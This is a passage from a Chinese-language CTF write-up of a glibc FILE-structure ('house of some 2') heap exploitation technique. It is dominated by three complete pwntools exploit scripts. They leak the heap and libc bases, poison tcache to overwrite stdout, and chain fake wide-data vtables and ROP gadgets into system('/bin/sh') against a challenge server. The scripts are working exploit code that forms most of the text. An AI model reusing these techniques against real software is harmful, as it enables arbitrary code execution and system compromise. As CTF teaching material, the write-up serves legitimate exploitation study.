就好,即
1 2 3 _IO_buf_base = &_IO_2_1_stdout_ - rdx + 0xb8 _IO_buf_end = _IO_buf_base + 0x1c8 - (rdx - 0xb8 ) = &_IO_2_1_stdout_ + 0x1c8
参考的payload
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 offset_retn = 0xb8 rop = [... ...] rdx = offset_retn + len (rop) * 8 payload2 = flat({ 0x08 : libc_stdout, 0x28 : libc_stdout - rdx, 0x30 : libc_stdout, 0x38 : libc_stdout - rdx + offset_retn, 0x40 : libc_stdout + 0x1c8 , 0x70 : 0 , 0x90 : rdx, 0xa0 : libc_stdout + 0xe0 , 0xc0 : 0 , 0xd8 : libc_IO_default_xsputn - 0x90 , 0xe0 : { 0xe0 : libc_IO_wfile_jumps_maybe_mmap } }, filler=b"\x00" )
Part.3 第二次循环·
控制第一次循环的payload
在第一次循环最后的的read
中输入,这里是为了执行_IO_default_xsgetn
注意在payload
输入完后,执行_IO_default_xsgetn
就会把东西复制会栈上,所以写payload
的时候要顺便把rop
写上
回顾一下我叠好的内存分布
1 2 3 4 5 - rdx : copyed from &st - (rdx-0xb8) : retn <= payload start 0x00 : _IO_2_1_stdout_ + 0xe0 : fake _IO_wide_data structure + 0x1c8 : end
payload
写的位置是从retn
开始,即payload
的前(rdx-0xb8)
个字节是我的rop
后面就跟Part.2的差不多,只是里面做的是
1 mempcpy(&st, _IO_read_ptr, _IO_read_end - _IO_read_ptr)
还有需要绕过的是
1 count = _IO_read_end - _IO_read_ptr = rdx
所以需要设置的是
1 2 3 4 _offset = rdx _IO_read_ptr = &_IO_2_1_stdout_ - rdx _IO_read_end = _IO_read_ptr + rdx = &_IO_2_1_stdout_
另外因为后面的_IO_SYSREAD
是进不去的,所以_IO_buf_base
和_IO_buf_end
也不需要了
参考的payload
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 payload3 = flat({ 0x00 : rop, rdx - offset_retn: { 0x08 : libc_stdout - rdx, 0x10 : libc_stdout, 0x90 : rdx, 0xa0 : libc_stdout + 0xe0 , 0xc0 : 0 , 0xd8 : libc_IO_default_xsgetn - 0x90 , 0xe0 : { 0xe0 : libc_IO_wfile_jumps_maybe_mmap } } }, filler=b"\x00" )
Part.4 rop·
最后的rop
就是常规操作了
理论上我的rop
是简单的
1 2 3 pop rdi pointer to '/bin/sh\x00' libc_system
但我这样叠的话到do_system
那里会有一个报错
大概意思xmmword
指令需要参数的地址是16
字节对齐(即word
),而因为这时候的栈被我改过,所以这里栈上的地址就没有对齐
解决方法是,在rop
前面加一句ret
,往xmmword
指令的地址加个8
就好了
即最后的rop
是
1 2 3 4 5 0x00: ret 0x08: pop rdi 0x10: pointer to 0x20 0x18: libc_system 0x20: '/bin/sh\x00'
参考Exp·
打O3·
按上面流程的话,exp
是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 from pwn import *from time import sleepcontext.log_level = 'debug' context.arch = 'amd64' context.terminal = ['wt.exe' , 'bash' , '-c' ] T = 0.1 LOCAL = True AUTOGDB = True DEBUG = True if LOCAL: env = {'LD_LIBRARY_PATH' : '.' } r = process('./pwn' , env=env) if AUTOGDB: gid, g = gdb.attach(r, api=True , gdbscript='' ) sleep(1 ) AUTOGDB and g.execute('dir ./src' ) and sleep(T) AUTOGDB and g.execute('c' ) and sleep(T) else : gdb.attach(r, gdbscript='dir ./src' ) input ('Waiting GDB...' ) else : AUTOGDB = False r = remote('node4.anna.nssctf.cn' , 28144 ) def add (): r.sendlineafter(b'Choice: ' , b'1' ) sleep(T) def delete (idx ): r.sendlineafter(b'Choice: ' , b'2' ) r.sendlineafter(b'Idx: ' , str (idx).encode()) sleep(T) def show (idx ): r.sendlineafter(b'Choice: ' , b'3' ) r.sendlineafter(b'Idx: \n' , str (idx).encode()) return r.recvuntil(b'\nDone' , drop=True ) def edit (idx, content ): r.sendlineafter(b'Choice: ' , b'4' ) r.sendlineafter(b'Idx: ' , str (idx).encode()) r.sendlineafter(b'Size: ' , str (len (content)).encode()) r.sendafter(b'Content: ' , content) sleep(T) AUTOGDB and g.execute('p "leak heap_base"' ) and sleep(T) add() delete(0 ) heap_base = u64(show(0 ).ljust(8 , b'\x00' )) << 12 AUTOGDB and g.execute('x/20gx $rebase(0x4060)' ) and sleep(T) AUTOGDB and g.execute('bins' ) and sleep(T) print (f'{hex (heap_base) = } ' )def PROTECT_PTR (ptr ): return (heap_base >> 12 ) ^ ptr edit(0 , '0' * 8 ) tcache_key = show(0 )[8 :] print (f'{tcache_key.hex () = } ' )AUTOGDB and g.execute('p "leak libc_base"' ) and sleep(T) for _ in range (8 ): add() add() for i in range (1 , 7 +1 ): delete(i) delete(8 ) AUTOGDB and g.execute('x/20gx $rebase(0x4060)' ) and sleep(T) AUTOGDB and g.execute('bins' ) and sleep(T) if DEBUG: libc_base = u64(show(8 ).ljust(8 , b'\x00' )) - 0x21bcc0 libc = ELF('libc-2.34-debug-O3.so' ) else : libc_base = u64(show(8 ).ljust(8 , b'\x00' )) - 0x1f2cc0 libc = ELF('libc.so' ) print (f'{hex (libc_base) = } ' )libc.address = libc_base AUTOGDB and g.execute('p "house of some 2"' ) and sleep(T) libc_stdout = libc.symbols['_IO_2_1_stdout_' ] AUTOGDB and g.execute('p _IO_2_1_stderr_' ) and sleep(T) ''' file = { ... ... _unused2 = '\000' <repeats 19 times> }, vtable = 0x7f27c2b82600 <__GI__IO_file_jumps> <= +0xd8 } ''' AUTOGDB and g.execute('hexdump &_IO_2_1_stderr_ 0x100' ) and sleep(T) ''' +00c0 0x7f853d9dc740 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│ <= stderr.file._unused +00d0 0x7f853d9dc750 00 00 00 00 00 00 00 00 00 86 9d 3d 85 7f 00 00 │........│...=....│ <= stderr.vtable +00e0 0x7f853d9dc760 87 28 ad fb 00 00 00 00 e3 c7 9d 3d 85 7f 00 00 │.(......│...=....│ <= stdout +00f0 0x7f853d9dc770 e3 c7 9d 3d 85 7f 00 00 e3 c7 9d 3d 85 7f 00 00 │...=....│...=....│ ''' assert (libc_stdout - 0x10 ) & 0b1111 == 0 edit(7 , p64(PROTECT_PTR(libc_stdout - 0x10 ))) AUTOGDB and g.execute('bins' ) and sleep(T) add() add() AUTOGDB and g.execute('x/20gx $rebase(0x4060)' ) and sleep(T) AUTOGDB and g.execute('p &_IO_2_1_stdout_' ) and sleep(T) ''' _IO_file_xsputn > _IO_wfile_underflow_maybe_mmap _IO_file_stat > _IO_new_file_write ''' libc_IO_wfile_jumps_maybe_mmap = libc.symbols['_IO_wfile_jumps_maybe_mmap' ] payload1 = flat({ 0x00 : 0x8000 , 0x38 : libc_stdout, 0x40 : libc_stdout + 0x1c8 , 0x70 : 0 , 0xa0 : libc_stdout + 0x100 , 0xc0 : 0 , 0xd8 : libc_IO_wfile_jumps_maybe_mmap - 0x18 , }, filler=b"\x00" ) payload1 = flat([0 , 0 ], filler=b"\x00" ) + payload1 edit(11 , payload1) AUTOGDB and g.execute('p _IO_2_1_stdout_' ) and sleep(T) libc_IO_str_jumps = libc.symbols['_IO_str_jumps' ] libc_IO_default_xsputn = libc_IO_str_jumps + 0x38 libc_IO_default_xsgetn = libc_IO_str_jumps + 0x40 O = 3 if O == 3 : libc_pop_rdi = libc_base + 0x2dc12 libc_ret = libc_base + 0x2c718 libc_system = libc.symbols['system' ] offset_retn = 0xb8 rop = [ libc_ret, libc_pop_rdi, libc_stdout - 0x1c8 + offset_retn + 0x8 * 4 , libc_system, u64(b'/bin/sh\x00' ) ] rdx = offset_retn + len (rop) * 8 payload2 = flat({ 0x08 : libc_stdout, 0x28 : libc_stdout - rdx, 0x30 : libc_stdout, 0x38 : libc_stdout - rdx + offset_retn, 0x40 : libc_stdout + 0x1c8 , 0x70 : 0 , 0x90 : rdx, 0xa0 : libc_stdout + 0xe0 , 0xc0 : 0 , 0xd8 : libc_IO_default_xsputn - 0x90 , 0xe0 : { 0xe0 : libc_IO_wfile_jumps_maybe_mmap } }, filler=b"\x00" ) AUTOGDB and g.execute(f'b *{hex (libc_base + 0x95a04 )} ' ) and sleep(T) r.send(payload2) payload3 = flat({ 0x00 : rop, rdx - offset_retn: { 0x08 : libc_stdout - rdx, 0x10 : libc_stdout, 0x90 : rdx, 0xa0 : libc_stdout + 0xe0 , 0xc0 : 0 , 0xd8 : libc_IO_default_xsgetn - 0x90 , 0xe0 : { 0xe0 : libc_IO_wfile_jumps_maybe_mmap } } }, filler=b"\x00" ) AUTOGDB and g.execute(f'b *{hex (libc_base + 0x95c79 )} ' ) and sleep(T) AUTOGDB and g.execute(f'b *{hex (libc_base + 0x936a5 )} ' ) and sleep(T) AUTOGDB and g.execute(f'b *{hex (libc_base + 0x59192 )} ' ) and sleep(T) r.send(payload3) r.interactive() r.close()
没有canary·
根据编译情况,libc
中的函数调用可能会没有canary
如果没有canary
的话,就可以让第一次循环的_IO_SYSSTAT
指向_IO_file_read
,直接做栈溢出
调用栈为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 _IO_puts (const char *str) >_IO_wfile_underflow_maybe_mmap (stdout ) ==> _IO_file_underflow_maybe_mmap (stdout ) ====> decide_maybe_mmap (stdout ) ======> write (stdout .file._fileno, &st, ??) ======> ====> _IO_file_underflow (stdout ) ======> read(0 , &_IO_2_1_stdout_, n0) ==> _IO_wfile_underflow_maybe_mmap (stdout ) ====> _IO_file_underflow_maybe_mmap (stdout ) ======> decide_maybe_mmap (stdout ) ========> _IO_file_read (stdout , &st, rdx) ==========> read(0 , &st, rdx) ========> ======> _IO_file_underflow (stdout ) ========> ====> _IO_wfile_underflow_maybe_mmap (stdout ) ====> ==> rop
参考exp
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 from pwn import *from time import sleepcontext.log_level = 'debug' context.arch = 'amd64' context.terminal = ['wt.exe' , 'bash' , '-c' ] T = 0.1 LOCAL = True AUTOGDB = True DEBUG = True if LOCAL: env = {'LD_LIBRARY_PATH' : '.' } r = process('./pwn' , env=env) if AUTOGDB: gid, g = gdb.attach(r, api=True , gdbscript='' ) sleep(1 ) AUTOGDB and g.execute('dir ./src' ) and sleep(T) AUTOGDB and g.execute('c' ) and sleep(T) else : gdb.attach(r, gdbscript='dir ./src' ) input ('Waiting GDB...' ) else : AUTOGDB = False r = remote('node4.anna.nssctf.cn' , 28144 ) def add (): r.sendlineafter(b'Choice: ' , b'1' ) sleep(T) def delete (idx ): r.sendlineafter(b'Choice: ' , b'2' ) r.sendlineafter(b'Idx: ' , str (idx).encode()) sleep(T) def show (idx ): r.sendlineafter(b'Choice: ' , b'3' ) r.sendlineafter(b'Idx: \n' , str (idx).encode()) return r.recvuntil(b'\nDone' , drop=True ) def edit (idx, content ): r.sendlineafter(b'Choice: ' , b'4' ) r.sendlineafter(b'Idx: ' , str (idx).encode()) r.sendlineafter(b'Size: ' , str (len (content)).encode()) r.sendafter(b'Content: ' , content) sleep(T) AUTOGDB and g.execute('p "leak heap_base"' ) and sleep(T) add() delete(0 ) heap_base = u64(show(0 ).ljust(8 , b'\x00' )) << 12 AUTOGDB and g.execute('x/20gx $rebase(0x4060)' ) and sleep(T) AUTOGDB and g.execute('bins' ) and sleep(T) print (f'{hex (heap_base) = } ' )def PROTECT_PTR (ptr ): return (heap_base >> 12 ) ^ ptr edit(0 , '0' * 8 ) tcache_key = show(0 )[8 :] print (f'{tcache_key.hex () = } ' )AUTOGDB and g.execute('p "leak libc_base"' ) and sleep(T) for _ in range (8 ): add() add() for i in range (1 , 7 +1 ): delete(i) delete(8 ) AUTOGDB and g.execute('x/20gx $rebase(0x4060)' ) and sleep(T) AUTOGDB and g.execute('bins' ) and sleep(T) if DEBUG: libc_base = u64(show(8 ).ljust(8 , b'\x00' )) - 0x21bcc0 libc = ELF('libc-2.34-debug-O3.so' ) else : libc_base = u64(show(8 ).ljust(8 , b'\x00' )) - 0x1f2cc0 libc = ELF('libc.so' ) print (f'{hex (libc_base) = } ' )libc.address = libc_base AUTOGDB and g.execute('p "house of some 2"' ) and sleep(T) libc_stdout = libc.symbols['_IO_2_1_stdout_' ] AUTOGDB and g.execute('p _IO_2_1_stderr_' ) and sleep(T) ''' file = { ... ... _unused2 = '\000' <repeats 19 times> }, vtable = 0x7f27c2b82600 <__GI__IO_file_jumps> <= +0xd8 } ''' AUTOGDB and g.execute('hexdump &_IO_2_1_stderr_ 0x100' ) and sleep(T) ''' +00c0 0x7f853d9dc740 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│ <= stderr.file._unused +00d0 0x7f853d9dc750 00 00 00 00 00 00 00 00 00 86 9d 3d 85 7f 00 00 │........│...=....│ <= stderr.vtable +00e0 0x7f853d9dc760 87 28 ad fb 00 00 00 00 e3 c7 9d 3d 85 7f 00 00 │.(......│...=....│ <= stdout +00f0 0x7f853d9dc770 e3 c7 9d 3d 85 7f 00 00 e3 c7 9d 3d 85 7f 00 00 │...=....│...=....│ ''' assert (libc_stdout - 0x10 ) & 0b1111 == 0 edit(7 , p64(PROTECT_PTR(libc_stdout - 0x10 ))) AUTOGDB and g.execute('bins' ) and sleep(T) add() add() AUTOGDB and g.execute('x/20gx $rebase(0x4060)' ) and sleep(T) AUTOGDB and g.execute('p &_IO_2_1_stdout_' ) and sleep(T) ''' _IO_file_xsputn > _IO_wfile_underflow_maybe_mmap _IO_file_stat > _IO_new_file_write ''' libc_IO_wfile_jumps_maybe_mmap = libc.symbols['_IO_wfile_jumps_maybe_mmap' ] payload1 = flat({ 0x00 : 0x8000 , 0x38 : libc_stdout, 0x40 : libc_stdout + 0x1c8 , 0x70 : 0 , 0xa0 : libc_stdout + 0x100 , 0xc0 : 0 , 0xd8 : libc_IO_wfile_jumps_maybe_mmap - 0x18 , }, filler=b"\x00" ) payload1 = flat([0 , 0 ], filler=b"\x00" ) + payload1 edit(11 , payload1) AUTOGDB and g.execute('p _IO_2_1_stdout_' ) and sleep(T) libc_IO_file_jumps = libc.symbols['_IO_file_jumps' ] libc_IO_file_read = libc_IO_file_jumps + 0x70 O = 3 if O == 3 : libc_pop_rdi = libc_base + 0x2dc12 libc_ret = libc_base + 0x2c718 libc_system = libc.symbols['system' ] libc_sh = next (libc.search('/bin/sh' )) offset_retn = 0xb8 rop = [ libc_ret, libc_pop_rdi, libc_sh, libc_system, ] rop = flat([0 ] * (offset_retn // 8 ) + rop, filler=b"\x00" ) rdx = len (rop) payload2 = flat({ 0x08 : libc_stdout, 0x38 : libc_stdout, 0x40 : libc_stdout, 0x70 : 0 , 0x90 : rdx, 0xa0 : libc_stdout + 0xe0 , 0xc0 : 0 , 0xd8 : libc_IO_file_read - 0x90 , 0xe0 : { 0xe0 : libc_IO_wfile_jumps_maybe_mmap } }, filler=b"\x00" ) AUTOGDB and g.execute(f'b *{hex (libc_base + 0x93631 )} ' ) and sleep(T) r.send(payload2) AUTOGDB and g.execute(f'b *{hex (libc_base + 0x936a5 )} ' ) and sleep(T) AUTOGDB and g.execute(f'b *{hex (libc_base + 0x59192 )} ' ) and sleep(T) r.send(rop) r.interactive() r.close()
没有_wide_vtable的validate检查·
在目前最新版本的libc-2.41
中其实都还没有_wide_vtable
的检查,所以其实现在都还能用
如果没有_wide_vtable
的检查的话,就可以直接把_wide_vtable
指向我伪造的struct _IO_jump_t
结构体,然后让_IO_WUNDERFLOW
指向one_gadget
或者system
这里我用的是调system
的方法,叠的是
1 2 3 - 0x08 : system addr 0x00 : stdout (_flag = '/bin/sh\x00') + 0xe0 + 0xe0: stdout - 0x8 (_wide_vtable)
调one_gadget
的话把system
改成one_gadget
地址就好了
PS:本来我是想在入口就叠好这个的,但是执行到_IO_puts
的_IO_acquire_lock (stdout)
时,如果_flag
不设置_IO_USER_LOCK
的话就会卡住,所以就没办法了,如果调one_gadget
的话可能可以
参考exp
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 from pwn import *from time import sleepcontext.log_level = 'debug' context.arch = 'amd64' context.terminal = ['wt.exe' , 'bash' , '-c' ] T = 0.1 LOCAL = True AUTOGDB = True DEBUG = True if LOCAL: env = {'LD_LIBRARY_PATH' : '.' } r = process('./pwn' , env=env) if AUTOGDB: gid, g = gdb.attach(r, api=True , gdbscript='' ) sleep(1 ) AUTOGDB and g.execute('dir ./src' ) and sleep(T) AUTOGDB and g.execute('c' ) and sleep(T) else : gdb.attach(r, gdbscript='dir ./src' ) input ('Waiting GDB...' ) else : AUTOGDB = False r = remote('node4.anna.nssctf.cn' , 28144 ) def add (): r.sendlineafter(b'Choice: ' , b'1' ) sleep(T) def delete (idx ): r.sendlineafter(b'Choice: ' , b'2' ) r.sendlineafter(b'Idx: ' , str (idx).encode()) sleep(T) def show (idx ): r.sendlineafter(b'Choice: ' , b'3' ) r.sendlineafter(b'Idx: \n' , str (idx).encode()) return r.recvuntil(b'\nDone' , drop=True ) def edit (idx, content ): r.sendlineafter(b'Choice: ' , b'4' ) r.sendlineafter(b'Idx: ' , str (idx).encode()) r.sendlineafter(b'Size: ' , str (len (content)).encode()) r.sendafter(b'Content: ' , content) sleep(T) AUTOGDB and g.execute('p "leak heap_base"' ) and sleep(T) add() delete(0 ) heap_base = u64(show(0 ).ljust(8 , b'\x00' )) << 12 AUTOGDB and g.execute('x/20gx $rebase(0x4060)' ) and sleep(T) AUTOGDB and g.execute('bins' ) and sleep(T) print (f'{hex (heap_base) = } ' )def PROTECT_PTR (ptr ): return (heap_base >> 12 ) ^ ptr edit(0 , '0' * 8 ) tcache_key = show(0 )[8 :] print (f'{tcache_key.hex () = } ' )AUTOGDB and g.execute('p "leak libc_base"' ) and sleep(T) for _ in range (8 ): add() add() for i in range (1 , 7 +1 ): delete(i) delete(8 ) AUTOGDB and g.execute('x/20gx $rebase(0x4060)' ) and sleep(T) AUTOGDB and g.execute('bins' ) and sleep(T) if DEBUG: libc_base = u64(show(8 ).ljust(8 , b'\x00' )) - 0x21bcc0 libc = ELF('libc-2.34-debug-O3.so' ) else : libc_base = u64(show(8 ).ljust(8 , b'\x00' )) - 0x1f2cc0 libc = ELF('libc.so' ) print (f'{hex (libc_base) = } ' )libc.address = libc_base AUTOGDB and g.execute('p "house of some 2"' ) and sleep(T) libc_stdout = libc.symbols['_IO_2_1_stdout_' ] AUTOGDB and g.execute('p _IO_2_1_stderr_' ) and sleep(T) ''' file = { ... ... _unused2 = '\000' <repeats 19 times> }, vtable = 0x7f27c2b82600 <__GI__IO_file_jumps> <= +0xd8 } ''' AUTOGDB and g.execute('hexdump &_IO_2_1_stderr_ 0x100' ) and sleep(T) ''' +00c0 0x7f853d9dc740 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│ <= stderr.file._unused +00d0 0x7f853d9dc750 00 00 00 00 00 00 00 00 00 86 9d 3d 85 7f 00 00 │........│...=....│ <= stderr.vtable +00e0 0x7f853d9dc760 87 28 ad fb 00 00 00 00 e3 c7 9d 3d 85 7f 00 00 │.(......│...=....│ <= stdout +00f0 0x7f853d9dc770 e3 c7 9d 3d 85 7f 00 00 e3 c7 9d 3d 85 7f 00 00 │...=....│...=....│ ''' assert (libc_stdout - 0x10 ) & 0b1111 == 0 edit(7 , p64(PROTECT_PTR(libc_stdout - 0x10 ))) AUTOGDB and g.execute('bins' ) and sleep(T) add() add() AUTOGDB and g.execute('x/20gx $rebase(0x4060)' ) and sleep(T) AUTOGDB and g.execute('p &_IO_2_1_stdout_' ) and sleep(T) ''' _IO_file_xsputn > _IO_wfile_underflow_maybe_mmap _IO_file_stat > _IO_new_file_write ''' libc_IO_wfile_jumps_maybe_mmap = libc.symbols['_IO_wfile_jumps_maybe_mmap' ] libc_system = libc.symbols['system' ] payload1 = flat({ 0x00 : 0x8000 , 0x38 : libc_stdout, 0x40 : libc_stdout + 0x1c8 , 0x70 : 0 , 0xa0 : libc_stdout + 0x100 , 0xc0 : 0 , 0xd8 : libc_IO_wfile_jumps_maybe_mmap - 0x18 , }, filler=b"\x00" ) payload1 = flat([0 , libc_system], filler=b"\x00" ) + payload1 AUTOGDB and g.execute('b fileops.c:668' ) and sleep(T) edit(11 , payload1) AUTOGDB and g.execute('p _IO_2_1_stdout_' ) and sleep(T) payload2 = flat({ 0x00 : u64(b'/bin/sh\x00' ), 0x08 : libc_stdout, 0x38 : libc_stdout, 0x40 : libc_stdout, 0xa0 : libc_stdout + 0xe0 , 0xc0 : 0 , 0xe0 : { 0xe0 : libc_stdout - 0x8 - 0x20 } }, filler=b"\x00" ) AUTOGDB and g.execute(f'b *{hex (libc_base + 0x8dfa8 )} ' ) and sleep(T) r.send(payload2) AUTOGDB and g.execute(f'b *{hex (libc_base + 0x936a5 )} ' ) and sleep(T) AUTOGDB and g.execute(f'b *{hex (libc_base + 0x59192 )} ' ) and sleep(T) r.interactive() r.close()
历史笔记·